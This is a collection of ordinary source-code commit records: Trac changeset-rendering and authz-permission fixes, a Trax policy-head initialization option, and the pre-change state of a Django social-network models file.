<commit_before># -*- coding: iso8859-1 -*-
#
# Copyright (C) 2003, 2004, 2005 Edgewall Software
# Copyright (C) 2003, 2004, 2005 Jonas Borgstrm <jonas@edgewall.com>
#
# Trac is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Trac is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# Author: Jonas Borgstrm <jonas@edgewall.com>

import time
import util
import re

from trac import perm
from trac.Module import Module
from trac.WikiFormatter import wiki_to_html
from trac.versioncontrol import Changeset, Node
from trac.versioncontrol.diff import get_diff_options, hdf_diff, unified_diff

class ChangesetModule(Module):

    def render(self, req):
        self.perm.assert_permission(perm.CHANGESET_VIEW)

        self.add_link(req, 'alternate', '?format=diff', 'Unified Diff',
                      'text/plain', 'diff')
        self.add_link(req, 'alternate', '?format=zip', 'Zip Archive',
                      'application/zip', 'zip')

        rev = req.args.get('rev')
        repos = self.env.get_repository(req.authname)

        diff_options = get_diff_options(req)
        if req.args.has_key('update'):
            req.redirect(self.env.href.changeset(rev))

        chgset = repos.get_changeset(rev)
        req.check_modified(chgset.date, diff_options[0] + ''.join(diff_options[1]))

        format = req.args.get('format')
        if format == 'diff':
            self.render_diff(req, repos, chgset, diff_options)
        elif format == 'zip':
            self.render_zip(req, repos, chgset)
        else:
            self.render_html(req, repos, chgset, diff_options)

    def render_html(self, req, repos, chgset, diff_options):
        """HTML version"""

        req.hdf['title'] = '[%s]' % chgset.rev
        req.hdf['changeset'] = {
            'revision': chgset.rev,
            'time': time.asctime(time.localtime(chgset.date)),
            'author': util.escape(chgset.author or 'anonymous'),
            'message': wiki_to_html(util.wiki_escape_newline(chgset.message or '--'),
                                    req.hdf, self.env, self.db)
        }

        oldest_rev = repos.oldest_rev
        if chgset.rev != oldest_rev:
            self.add_link(req, 'first', self.env.href.changeset(oldest_rev),
                          'Changeset %s' % oldest_rev)
            previous_rev = repos.previous_rev(chgset.rev)
            self.add_link(req, 'prev', self.env.href.changeset(previous_rev),
                          'Changeset %s' % previous_rev)
        youngest_rev = repos.youngest_rev
        if chgset.rev != youngest_rev:
            next_rev = repos.next_rev(chgset.rev)
            self.add_link(req, 'next', self.env.href.changeset(next_rev),
                          'Changeset %s' % next_rev)
            self.add_link(req, 'last', self.env.href.changeset(youngest_rev),
                          'Changeset %s' % youngest_rev)

        edits = []
        idx = 0
        for path, kind, change, base_path, base_rev in chgset.get_changes():
            info = {'change': change}
            if base_path:
                info['path.old'] = base_path
                info['rev.old'] = base_rev
                info['browser_href.old'] = self.env.href.browser(base_path, base_rev)
            if path:
                info['path.new'] = path
                info['rev.new'] = chgset.rev
                info['browser_href.new'] = self.env.href.browser(path, rev=chgset.rev)
            if change in (Changeset.COPY, Changeset.EDIT, Changeset.MOVE):
                edits.append((idx, path, kind, base_path, base_rev))
            req.hdf['changeset.changes.%d' % idx] = info
            idx += 1

        for idx, path, kind, base_path, base_rev in edits:
            old_node = repos.get_node(base_path or path, base_rev)
            new_node = repos.get_node(path, chgset.rev)

            # Property changes
            old_props = old_node.get_properties()
            new_props = new_node.get_properties()
            changed_props = {}
            if old_props != new_props:
                for k,v in old_props.items():
                    if not k in new_props:
                        changed_props[k] = {'old': v}
                    elif v != new_props[k]:
                        changed_props[k] = {'old': v, 'new': new_props[k]}
                for k,v in new_props.items():
                    if not k in old_props:
                        changed_props[k] = {'new': v}
                req.hdf['changeset.changes.%d.props' % idx] = changed_props

            # Content changes
            old_content = old_node.get_content().read()
            if self.env.mimeview.is_binary(old_content):
                continue
            new_content = new_node.get_content().read()
            if old_content != new_content:
                context = 3
                for option in diff_options:
                    if option[:2] == '-U':
                        context = int(option[2:])
                        break
                tabwidth = int(self.env.get_config('diff', 'tab_width', '8'))
                changes = hdf_diff(old_content.splitlines(),
                                   new_content.splitlines(),
                                   context, tabwidth,
                                   ignore_blank_lines='-B' in diff_options,
                                   ignore_case='-i' in diff_options,
                                   ignore_space_changes='-b' in diff_options)
                req.hdf['changeset.changes.%d.diff' % idx] = changes
        req.display('changeset.cs')

    def render_diff(self, req, repos, chgset, diff_options):
        """Raw Unified Diff version"""
        req.send_response(200)
        req.send_header('Content-Type', 'text/plain;charset=utf-8')
        req.send_header('Content-Disposition',
                        'filename=Changeset%s.diff' % req.args.get('rev'))
        req.end_headers()

        for path, kind, change, base_path, base_rev in chgset.get_changes():
            old_node = repos.get_node(base_path or path, base_rev)
            new_node = repos.get_node(path, chgset.rev)

            # TODO: Property changes

            # Content changes
            old_content = old_node.get_content().read()
            if self.env.mimeview.is_binary(old_content):
                continue
            new_content = new_node.get_content().read()
            if old_content != new_content:
                context = 3
                for option in diff_options:
                    if option[:2] == '-U':
                        context = int(option[2:])
                        break
                req.write('Index: ' + path + util.CRLF)
                req.write('=' * 67 + util.CRLF)
                req.write('--- %s (revision %s)' % (old_node.path, old_node.rev) +
                          util.CRLF)
                req.write('+++ %s (revision %s)' % (new_node.path, new_node.rev) +
                          util.CRLF)
                for line in unified_diff(old_content.split('\n'),
                                         new_content.split('\n'), context,
                                         ignore_blank_lines='-B' in diff_options,
                                         ignore_case='-i' in diff_options,
                                         ignore_space_changes='-b' in diff_options):
                    req.write(line + util.CRLF)

    def render_zip(self, req, repos, chgset):
        """ZIP archive with all the added and/or modified files."""
        req.send_response(200)
        req.send_header('Content-Type', 'application/zip')
        req.send_header('Content-Disposition',
                        'filename=Changeset%s.zip' % chgset.rev)
        req.end_headers()

        try:
            from cStringIO import StringIO
        except ImportError:
            from StringIO import StringIO
        from zipfile import ZipFile, ZipInfo, ZIP_DEFLATED

        buf = StringIO()
        zipfile = ZipFile(buf, 'w', ZIP_DEFLATED)
        for path, kind, change, base_path, base_rev in chgset.get_changes():
            if kind is Node.FILE and change is not Changeset.DELETE:
                node = repos.get_node(path, chgset.rev)
                zipinfo = ZipInfo()
                zipinfo.filename = node.path
                zipinfo.date_time = node.last_modified[:6]
                zipinfo.compress_type = ZIP_DEFLATED
                zipfile.writestr(zipinfo, node.get_content().read())
        zipfile.close()
        req.write(buf.getvalue())
<commit_msg>Only attempt to render content diffs if the changed node is actually a file.<commit_after># -*- coding: iso8859-1 -*-
#
# Copyright (C) 2003, 2004, 2005 Edgewall Software
# Copyright (C) 2003, 2004, 2005 Jonas Borgstrm <jonas@edgewall.com>
#
# Trac is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Trac is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# Author: Jonas Borgstrm <jonas@edgewall.com>

import time
import util
import re

from trac import perm
from trac.Module import Module
from trac.WikiFormatter import wiki_to_html
from trac.versioncontrol import Changeset, Node
from trac.versioncontrol.diff import get_diff_options, hdf_diff, unified_diff

class ChangesetModule(Module):

    def render(self, req):
        self.perm.assert_permission(perm.CHANGESET_VIEW)

        self.add_link(req, 'alternate', '?format=diff', 'Unified Diff',
                      'text/plain', 'diff')
        self.add_link(req, 'alternate', '?format=zip', 'Zip Archive',
                      'application/zip', 'zip')

        rev = req.args.get('rev')
        repos = self.env.get_repository(req.authname)

        diff_options = get_diff_options(req)
        if req.args.has_key('update'):
            req.redirect(self.env.href.changeset(rev))

        chgset = repos.get_changeset(rev)
        req.check_modified(chgset.date, diff_options[0] + ''.join(diff_options[1]))

        format = req.args.get('format')
        if format == 'diff':
            self.render_diff(req, repos, chgset, diff_options)
        elif format == 'zip':
            self.render_zip(req, repos, chgset)
        else:
            self.render_html(req, repos, chgset, diff_options)

    def render_html(self, req, repos, chgset, diff_options):
        """HTML version"""

        req.hdf['title'] = '[%s]' % chgset.rev
        req.hdf['changeset'] = {
            'revision': chgset.rev,
            'time': time.asctime(time.localtime(chgset.date)),
            'author': util.escape(chgset.author or 'anonymous'),
            'message': wiki_to_html(util.wiki_escape_newline(chgset.message or '--'),
                                    req.hdf, self.env, self.db)
        }

        oldest_rev = repos.oldest_rev
        if chgset.rev != oldest_rev:
            self.add_link(req, 'first', self.env.href.changeset(oldest_rev),
                          'Changeset %s' % oldest_rev)
            previous_rev = repos.previous_rev(chgset.rev)
            self.add_link(req, 'prev', self.env.href.changeset(previous_rev),
                          'Changeset %s' % previous_rev)
        youngest_rev = repos.youngest_rev
        if chgset.rev != youngest_rev:
            next_rev = repos.next_rev(chgset.rev)
            self.add_link(req, 'next', self.env.href.changeset(next_rev),
                          'Changeset %s' % next_rev)
            self.add_link(req, 'last', self.env.href.changeset(youngest_rev),
                          'Changeset %s' % youngest_rev)

        edits = []
        idx = 0
        for path, kind, change, base_path, base_rev in chgset.get_changes():
            info = {'change': change}
            if base_path:
                info['path.old'] = base_path
                info['rev.old'] = base_rev
                info['browser_href.old'] = self.env.href.browser(base_path, base_rev)
            if path:
                info['path.new'] = path
                info['rev.new'] = chgset.rev
                info['browser_href.new'] = self.env.href.browser(path, rev=chgset.rev)
            if change in (Changeset.COPY, Changeset.EDIT, Changeset.MOVE):
                edits.append((idx, path, kind, base_path, base_rev))
            req.hdf['changeset.changes.%d' % idx] = info
            idx += 1

        for idx, path, kind, base_path, base_rev in edits:
            old_node = repos.get_node(base_path or path, base_rev)
            new_node = repos.get_node(path, chgset.rev)

            # Property changes
            old_props = old_node.get_properties()
            new_props = new_node.get_properties()
            changed_props = {}
            if old_props != new_props:
                for k,v in old_props.items():
                    if not k in new_props:
                        changed_props[k] = {'old': v}
                    elif v != new_props[k]:
                        changed_props[k] = {'old': v, 'new': new_props[k]}
                for k,v in new_props.items():
                    if not k in old_props:
                        changed_props[k] = {'new': v}
                req.hdf['changeset.changes.%d.props' % idx] = changed_props

            if kind == Node.DIRECTORY:
                continue

            # Content changes
            old_content = old_node.get_content().read()
            if self.env.mimeview.is_binary(old_content):
                continue
            new_content = new_node.get_content().read()
            if old_content != new_content:
                context = 3
                for option in diff_options:
                    if option[:2] == '-U':
                        context = int(option[2:])
                        break
                tabwidth = int(self.env.get_config('diff', 'tab_width', '8'))
                changes = hdf_diff(old_content.splitlines(),
                                   new_content.splitlines(),
                                   context, tabwidth,
                                   ignore_blank_lines='-B' in diff_options,
                                   ignore_case='-i' in diff_options,
                                   ignore_space_changes='-b' in diff_options)
                req.hdf['changeset.changes.%d.diff' % idx] = changes

        req.display('changeset.cs')

    def render_diff(self, req, repos, chgset, diff_options):
        """Raw Unified Diff version"""
        req.send_response(200)
        req.send_header('Content-Type', 'text/plain;charset=utf-8')
        req.send_header('Content-Disposition',
                        'filename=Changeset%s.diff' % req.args.get('rev'))
        req.end_headers()

        for path, kind, change, base_path, base_rev in chgset.get_changes():
            old_node = repos.get_node(base_path or path, base_rev)
            new_node = repos.get_node(path, chgset.rev)

            # TODO: Property changes

            # Content changes
            old_content = old_node.get_content().read()
            if self.env.mimeview.is_binary(old_content):
                continue
            new_content = new_node.get_content().read()
            if old_content != new_content:
                context = 3
                for option in diff_options:
                    if option[:2] == '-U':
                        context = int(option[2:])
                        break
                req.write('Index: ' + path + util.CRLF)
                req.write('=' * 67 + util.CRLF)
                req.write('--- %s (revision %s)' % (old_node.path, old_node.rev) +
                          util.CRLF)
                req.write('+++ %s (revision %s)' % (new_node.path, new_node.rev) +
                          util.CRLF)
                for line in unified_diff(old_content.split('\n'),
                                         new_content.split('\n'), context,
                                         ignore_blank_lines='-B' in diff_options,
                                         ignore_case='-i' in diff_options,
                                         ignore_space_changes='-b' in diff_options):
                    req.write(line + util.CRLF)

    def render_zip(self, req, repos, chgset):
        """ZIP archive with all the added and/or modified files."""
        req.send_response(200)
        req.send_header('Content-Type', 'application/zip')
        req.send_header('Content-Disposition',
                        'filename=Changeset%s.zip' % chgset.rev)
        req.end_headers()

        try:
            from cStringIO import StringIO
        except ImportError:
            from StringIO import StringIO
        from zipfile import ZipFile, ZipInfo, ZIP_DEFLATED

        buf = StringIO()
        zipfile = ZipFile(buf, 'w', ZIP_DEFLATED)
        for path, kind, change, base_path, base_rev in chgset.get_changes():
            if kind is Node.FILE and change is not Changeset.DELETE:
                node = repos.get_node(path, chgset.rev)
                zipinfo = ZipInfo()
                zipinfo.filename = node.path
                zipinfo.date_time = node.last_modified[:6]
                zipinfo.compress_type = ZIP_DEFLATED
                zipfile.writestr(zipinfo, node.get_content().read())
        zipfile.close()
        req.write(buf.getvalue())
<|endoftext|>


<commit_before># -*- coding: iso8859-1 -*-
#
# Copyright (C) 2004 Edgewall Software
# Copyright (C) 2004 Francois Harvey <fharvey@securiweb.net>
#
# Trac is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Trac is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# Author: Francois Harvey <fharvey@securiweb.net>

from exceptions import StandardError
import ConfigParser
import string
import os

class AuthzPermissionError (StandardError):
    """Insufficient permission to view this file"""
    def __str__ (self):
        return 'Insufficient permission to view this file (mod_authz_svn)'

class AuthzPermission:
    auth_name = ''
    module_name = ''
    conf_authz = None
    authz_file = ''

    def __init__(self,env,authname):
	self.auth_name = authname

	if env.get_config('trac','authz_module_name','') == '':
	    self.module_name = ''
	else:
	    self.module_name = env.get_config('trac','authz_module_name') + ':'

        self.autz_file = env.get_config('trac','authz_file')
        if env.get_config('trac','authz_file'):
            self.conf_authz = ConfigParser.ConfigParser()
            self.conf_authz.read( self.autz_file )

    def group_contains_user(self, group_name, user_name):
        if self.conf_authz.has_section('groups'):
            if self.conf_authz.has_option('groups', group_name):
                users_list = self.conf_authz.get('groups', group_name).split(',')
                return users_list.has_key(user_name)
        return False

    def has_permission(self, path):
        acc = ''

        if path != None and self.conf_authz != None:
            if self.conf_authz.has_section(self.module_name + '/') and \
                   self.conf_authz.has_option(self.module_name  + '/',
                                              self.auth_name):
                acc = self.conf_authz.get(self.module_name + '/',self.auth_name)
	    elif self.conf_authz.has_section(self.module_name + '/') and \
	         self.conf_authz.has_option(self.module_name  + '/', '*'):
		     acc = self.conf_authz.get(self.module_name + '/','*')
            path_comb = ''
            for path_ele in path.split('/'):
                if path_ele != '':
                    path_comb = path_comb + '/' + path_ele
                    if self.conf_authz.has_section(self.module_name + path_comb) and \
                           self.conf_authz.has_option(self.module_name + path_comb,self.auth_name):
                        acc =  self.conf_authz.get(self.module_name + path_comb,self.auth_name)
		    elif self.conf_authz.has_section(self.module_name + path_comb) and \
		            self.conf_authz.has_option(self.module_name + path_comb,'*'):
		        acc =  self.conf_authz.get(self.module_name + path_comb,'*')
        else
            acc = 'r'
        return acc

    def assert_permission (self, path):
        if self.has_permission(path) == '':
            raise AuthzPermissionError()
<commit_msg>small syntax error in my last commit<commit_after># -*- coding: iso8859-1 -*-
#
# Copyright (C) 2004 Edgewall Software
# Copyright (C) 2004 Francois Harvey <fharvey@securiweb.net>
#
# Trac is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# Trac is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# Author: Francois Harvey <fharvey@securiweb.net>

from exceptions import StandardError
import ConfigParser
import string
import os

class AuthzPermissionError (StandardError):
    """Insufficient permission to view this file"""
    def __str__ (self):
        return 'Insufficient permission to view this file (mod_authz_svn)'

class AuthzPermission:
    auth_name = ''
    module_name = ''
    conf_authz = None
    authz_file = ''

    def __init__(self,env,authname):
	self.auth_name = authname

	if env.get_config('trac','authz_module_name','') == '':
	    self.module_name = ''
	else:
	    self.module_name = env.get_config('trac','authz_module_name') + ':'

        self.autz_file = env.get_config('trac','authz_file')
        if env.get_config('trac','authz_file'):
            self.conf_authz = ConfigParser.ConfigParser()
            self.conf_authz.read( self.autz_file )

    def group_contains_user(self, group_name, user_name):
        if self.conf_authz.has_section('groups'):
            if self.conf_authz.has_option('groups', group_name):
                users_list = self.conf_authz.get('groups', group_name).split(',')
                return users_list.has_key(user_name)
        return False

    def has_permission(self, path):
        acc = ''

        if path != None and self.conf_authz != None:
            if self.conf_authz.has_section(self.module_name + '/') and \
                   self.conf_authz.has_option(self.module_name  + '/',
                                              self.auth_name):
                acc = self.conf_authz.get(self.module_name + '/',self.auth_name)
	    elif self.conf_authz.has_section(self.module_name + '/') and \
	         self.conf_authz.has_option(self.module_name  + '/', '*'):
		     acc = self.conf_authz.get(self.module_name + '/','*')
            path_comb = ''
            for path_ele in path.split('/'):
                if path_ele != '':
                    path_comb = path_comb + '/' + path_ele
                    if self.conf_authz.has_section(self.module_name + path_comb) and \
                           self.conf_authz.has_option(self.module_name + path_comb,self.auth_name):
                        acc =  self.conf_authz.get(self.module_name + path_comb,self.auth_name)
		    elif self.conf_authz.has_section(self.module_name + path_comb) and \
		            self.conf_authz.has_option(self.module_name + path_comb,'*'):
		        acc =  self.conf_authz.get(self.module_name + path_comb,'*')
        else:
            acc = 'r'
        return acc

    def assert_permission (self, path):
        if self.has_permission(path) == '':
            raise AuthzPermissionError()
<|endoftext|>


<commit_before># coding=utf-8
# Copyright 2020 The Trax Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# Lint as: python3
"""Policy networks."""

from trax import layers as tl

def Policy(policy_distribution, body=None, mode='train'):
  """Attaches a policy head to a model body."""
  if body is None:
    body = lambda mode: []
  return tl.Serial(
      body(mode=mode),
      tl.Dense(policy_distribution.n_inputs),
  )

def Value(body=None, mode='train'):
  """Attaches a value head to a model body."""
  if body is None:
    body = lambda mode: []
  return tl.Serial(
      body(mode=mode),
      tl.Dense(1),
  )

def PolicyAndValue(
    policy_distribution,
    body=None,
    policy_top=Policy,
    value_top=Value,
    mode='train',
):
  """Attaches policy and value heads to a model body."""
  if body is None:
    body = lambda mode: []
  return tl.Serial(
      body(mode=mode),
      tl.Branch(
          policy_top(policy_distribution=policy_distribution, mode=mode),
          value_top(mode=mode),
      ),
  )
<commit_msg>Allow specifying the initial range of the policy head parameters.<commit_after># coding=utf-8
# Copyright 2020 The Trax Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# Lint as: python3
"""Policy networks."""

from trax import layers as tl

def Policy(policy_distribution, body=None, head_init_range=None, mode='train'):
  """Attaches a policy head to a model body."""
  if body is None:
    body = lambda mode: []

  head_kwargs = {}
  if head_init_range is not None:
    head_kwargs['kernel_initializer'] = tl.RandomUniformInitializer(
        lim=head_init_range
    )

  return tl.Serial(
      body(mode=mode),
      tl.Dense(policy_distribution.n_inputs, **head_kwargs),
  )

def Value(body=None, mode='train'):
  """Attaches a value head to a model body."""
  if body is None:
    body = lambda mode: []
  return tl.Serial(
      body(mode=mode),
      tl.Dense(1),
  )

def PolicyAndValue(
    policy_distribution,
    body=None,
    policy_top=Policy,
    value_top=Value,
    mode='train',
):
  """Attaches policy and value heads to a model body."""
  if body is None:
    body = lambda mode: []
  return tl.Serial(
      body(mode=mode),
      tl.Branch(
          policy_top(policy_distribution=policy_distribution, mode=mode),
          value_top(mode=mode),
      ),
  )
<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
from django.db import models
from django.contrib.auth.models import User
from django.db.models.signals import post_save, post_syncdb
from django.shortcuts import get_object_or_404
import requests

class UserProfile(models.Model):
    user = models.OneToOneField(User)
    login_status = models.IntegerField(default=0)
    updated = models.DateTimeField(auto_now=True)
    sex = models.IntegerField(null=True)  # 1 = Male, 2 = Female
    birthday = models.DateField(null=True)
    address = models.TextField(max_length=100, null=True)
    phone = models.TextField(max_length=20, null=True)
    ki = models.IntegerField(null=True)

    def __str__(self):
        return "%s's profile" % self.user

def create_user_profile(sender, instance, created, **kwargs):
    if created:
        UserProfile.objects.get_or_create(user=instance)

post_save.connect(create_user_profile, sender=User)

class HighSchools(models.Model):
    name = models.CharField(max_length=30)

class UserToHighSchool(models.Model):
    user = models.ForeignKey(User)
    highschool = models.ForeignKey(HighSchools)
    enter = models.DateField(null=True)
    graduate = models.DateField(null=True)

class University(models.Model):
    name = models.CharField(max_length=30)

class UserToUniversity(models.Model):
    user = models.ForeignKey(User)
    university = models.ForeignKey(University)
    enter = models.DateField(null=True)
    graduate = models.DateField(null=True)
    major = models.CharField(null=True, max_length=20)

class Teams(models.Model):
    name = models.CharField(max_length=30)
    mentor = models.ForeignKey(User)

class UserToTeam(models.Model):
    user = models.ForeignKey(User)
    team = models.ForeignKey(Teams)
    joinedOn = models.DateField()

class Companies(models.Model):
    name = models.CharField(max_length=30)
    mentor = models.ForeignKey(User)

class UserToCompany(models.Model):
    user = models.ForeignKey(User)
    team = models.ForeignKey(Companies)
    enter = models.DateField(null=True)
    leave = models.DateField(null=True)
    job = models.CharField(max_length=30)

class Hobbies(models.Model):
    name = models.CharField(max_length=30)

class UserToHobby(models.Model):
    user = models.ForeignKey(User)
    hobby = models.ForeignKey(Hobbies)

class PLanguages(models.Model):
    name = models.CharField(max_length=30)

class UserToPLanguage(models.Model):
    user = models.ForeignKey(User)
    planguage = models.ForeignKey(PLanguages)

class Groups(models.Model):
    group_name = models.CharField(max_length=30)
    description = models.CharField(max_length=4096)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    isProject = models.BooleanField()
    open_scope = models.IntegerField(default=0)  # 0 = open, 1 = semi-open, 2 = close

    def open_scope_str(self):
        result = None
        if self.open_scope == 0:
            result = "모두에게 공개"
        if self.open_scope == 1:
            result = "멤버들에게만 공개"
        if self.open_scope == 2:
            result = "비공개"
        return result

class Posts(models.Model):
    user_key = models.ForeignKey(User, related_name='user_key')
    post = models.CharField(max_length=4096)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    group = models.ForeignKey(Groups, null=True)
    open_scope = models.IntegerField(default=0)    # 0 = public, 1 = private, 2 = target user, 3 = group
    target_user = models.ForeignKey(User, null=True, related_name='target_user')
    # 0 = not attached, 1 = photo, 2 = video, 3 = file, 4 = poll, 5 = rich text
    attachment_type = models.IntegerField(default=0)

def create_friend_post(sender, instance, created, **kwargs):
    if created:
        write_user = instance.user_key

        if instance.open_scope != 3:
            # 자신에게 글 저장
            # - private은 그냥 post로 처리해도 되지만 template를 따로 만들어야되는 비용이 있음
            # - 그룹에서는 멤버도 자신을 포함하므로 따로 넣어주지 않음
            FriendPosts.objects.get_or_create(user_key=write_user, friend_post_key=instance)

        if instance.open_scope == 1 and instance.target_user != write_user:
            FriendPosts.objects.get_or_create(user_key=instance.target_user, friend_post_key=instance)

        # 친구들에게 글 저장
        if instance.open_scope == 0 or instance.open_scope == 2:
            friendships = Friendships.objects.filter(user_key=write_user)
            for friendship in friendships:
                FriendPosts.objects.get_or_create(user_key=friendship.friend_user_key, friend_post_key=instance)

        elif instance.open_scope == 3:
            memberships = Memberships.objects.select_related().filter(group_key=instance.group.pk)
            if instance.group.open_scope == 0:
                members = memberships.values_list('user_key', flat=True)
                friends = Friendships.objects.select_related().filter(user_key=write_user).values_list('friend_user_key', flat=True)

                # 친구와 그룹 멤버 user id union(중복 없이)
                user_ids = list(set(list(members) + list(friends)))

                # 친구와 그룹 멤버들에게 저장
                for user_id in user_ids:
                    FriendPosts.objects.get_or_create(user_key_id=user_id, friend_post_key=instance)

            else:
                for membership in memberships:
                    FriendPosts.objects.get_or_create(user_key=membership.user_key, friend_post_key=instance)

            GroupPosts.objects.get_or_create(group_key=instance.group, post_key=instance)

post_save.connect(create_friend_post, sender=Posts)

def create_log(sender, instance, created, **kwargs):
    emotion = None
    content = None
    where_owner = None
    where = None
    link = "/post/"
    if sender == Posts:
        model_name = 'post'
        content = instance.post
        user = get_object_or_404(User, pk=instance.user_key.id)
        link += str(instance.id)+"/"

    elif sender == Comments:
        model_name = 'comment'
        content = instance.comment
        where = instance.post_key.post
        where_owner = instance.post_key.user_key.username
        user = get_object_or_404(User, pk=instance.user_key.id)
        link += str(instance.post_key.id)+"/"

    elif sender == PostEmotions:
        model_name = 'emotion'
        where = instance.post_key.post
        id_emotion = instance.emotions_ptr_id
        emotion_instance = get_object_or_404(PostEmotions, pk=id_emotion)
        emotion = emotion_instance.emotion
        where_owner = instance.post_key.user_key.username
        user = emotion_instance.user_key
        link += str(instance.post_key.id)+"/"

    log = {'type': model_name, 'user_name': user.username, 'user_id': user.id, 'content': content, 'where': where, 'where_owner': where_owner, 'emotion': emotion, 'link': link}
    r = requests.post('http://localhost:4000/', data=log)
    print r.status_code

post_save.connect(create_log, sender=Posts)

class Comments(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    comment = models.CharField(max_length=1024)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)

post_save.connect(create_log, sender=Comments)

class Emotions(models.Model):
    LIKE = 'E1'
    GOOD = 'E2'
    EMOTION_CHOICES = (
        (LIKE, 'like'),
        (GOOD, 'good'),
    )
    user_key = models.ForeignKey(User)
    emotion = models.CharField(max_length=2, choices=EMOTION_CHOICES)  # default = None?
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)

class PostEmotions(Emotions):
    post_key = models.ForeignKey(Posts)

post_save.connect(create_log, sender=PostEmotions)

class CommentEmotions(Emotions):
    comment_key = models.ForeignKey(Comments)

class UserPictures(models.Model):
    user_key = models.ForeignKey(User)
    picture = models.CharField(max_length=1000, null=False)
    name = models.CharField(max_length=1000, null=False)
    created = models.DateTimeField(auto_now=True)

class PostPictures(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    picture = models.FileField(upload_to='upload/%y/%m/%d')
    name = models.CharField(max_length=30, null=False)
    created = models.DateTimeField(auto_now=True)

class UserFileCount(models.Model):
    user_key = models.ForeignKey(User)
    file_count = models.IntegerField(auto_created=True, default=0)

class UserFiles(models.Model):
    user_key = models.ForeignKey(User)
    post_key = models.ForeignKey(Posts)
    file_link = models.CharField(max_length=1000, null=False)
    file_name = models.CharField(max_length=500, null=False)
    created = models.DateTimeField(auto_now=True)
    file_type = models.CharField(max_length=100, null=False)

# Relation with friend
class Friendships(models.Model):
    user_key = models.ForeignKey(User, related_name='my_key')
    friend_user_key = models.ForeignKey(User, related_name='friend_key')
    created = models.DateTimeField(auto_now=True)

def create_friendship_each(sender, instance, created, **kwargs):
    if created:
        Friendships.objects.get_or_create(user_key=instance.friend_user_key, friend_user_key=instance.user_key)

post_save.connect(create_friendship_each, sender=Friendships)

# Relation sending friend request
class FriendshipNotis(models.Model):
    friend_noti_from_user_key = models.ForeignKey(User, related_name='request_from')
    friend_noti_to_user_key = models.ForeignKey(User, related_name='request_to')
    created = models.DateTimeField(auto_now=True)

class Notices(models.Model):
    subject = models.CharField(max_length=40)
    content = models.CharField(max_length=2000)
    created = models.DateTimeField(auto_now=True)
    updated = models.DateTimeField(auto_now=True)
    # need to add files

class FriendPosts(models.Model):
    user_key = models.ForeignKey(User, related_name='my_user_key')
    friend_post_key = models.ForeignKey(Posts, related_name='friend_post_key')

class Polls(models.Model):
    post_key = models.ForeignKey(Posts, related_name='polls')
    poll = models.CharField(max_length=4000)

class Videos(models.Model):
    post_key = models.ForeignKey(Posts, related_name="videos")
    video = models.CharField(max_length=1024)

class GroupPosts(models.Model):
    group_key = models.ForeignKey(Groups)
    post_key = models.ForeignKey(Posts)

class Memberships(models.Model):
    group_key = models.ForeignKey(Groups)
    user_key = models.ForeignKey(User)
    permission = models.IntegerField(default=0)  # 0 = common, 1 = manager, 2 = owner
    created = models.DateTimeField(auto_now=True)

class MembershipNotis(models.Model):
    noti_group_key = models.ForeignKey(Groups)
    noti_user_key = models.ForeignKey(User)
    created = models.DateTimeField(auto_now=True)

#revolution chat!
class ChatRoom(models.Model):
    chat_room_name = models.CharField(max_length=1000)
    participant_count = models.IntegerField(default=0)

class ChatNotification(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    from_user_key = models.ForeignKey(User, related_name='message_from_user')
    to_user_key = models.ForeignKey(User, related_name='message_to_user')

class ChatParticipants(models.Model):
    chat_room_key = models.ForeignKey(ChatRoom)
    user_key = models.ForeignKey(User)
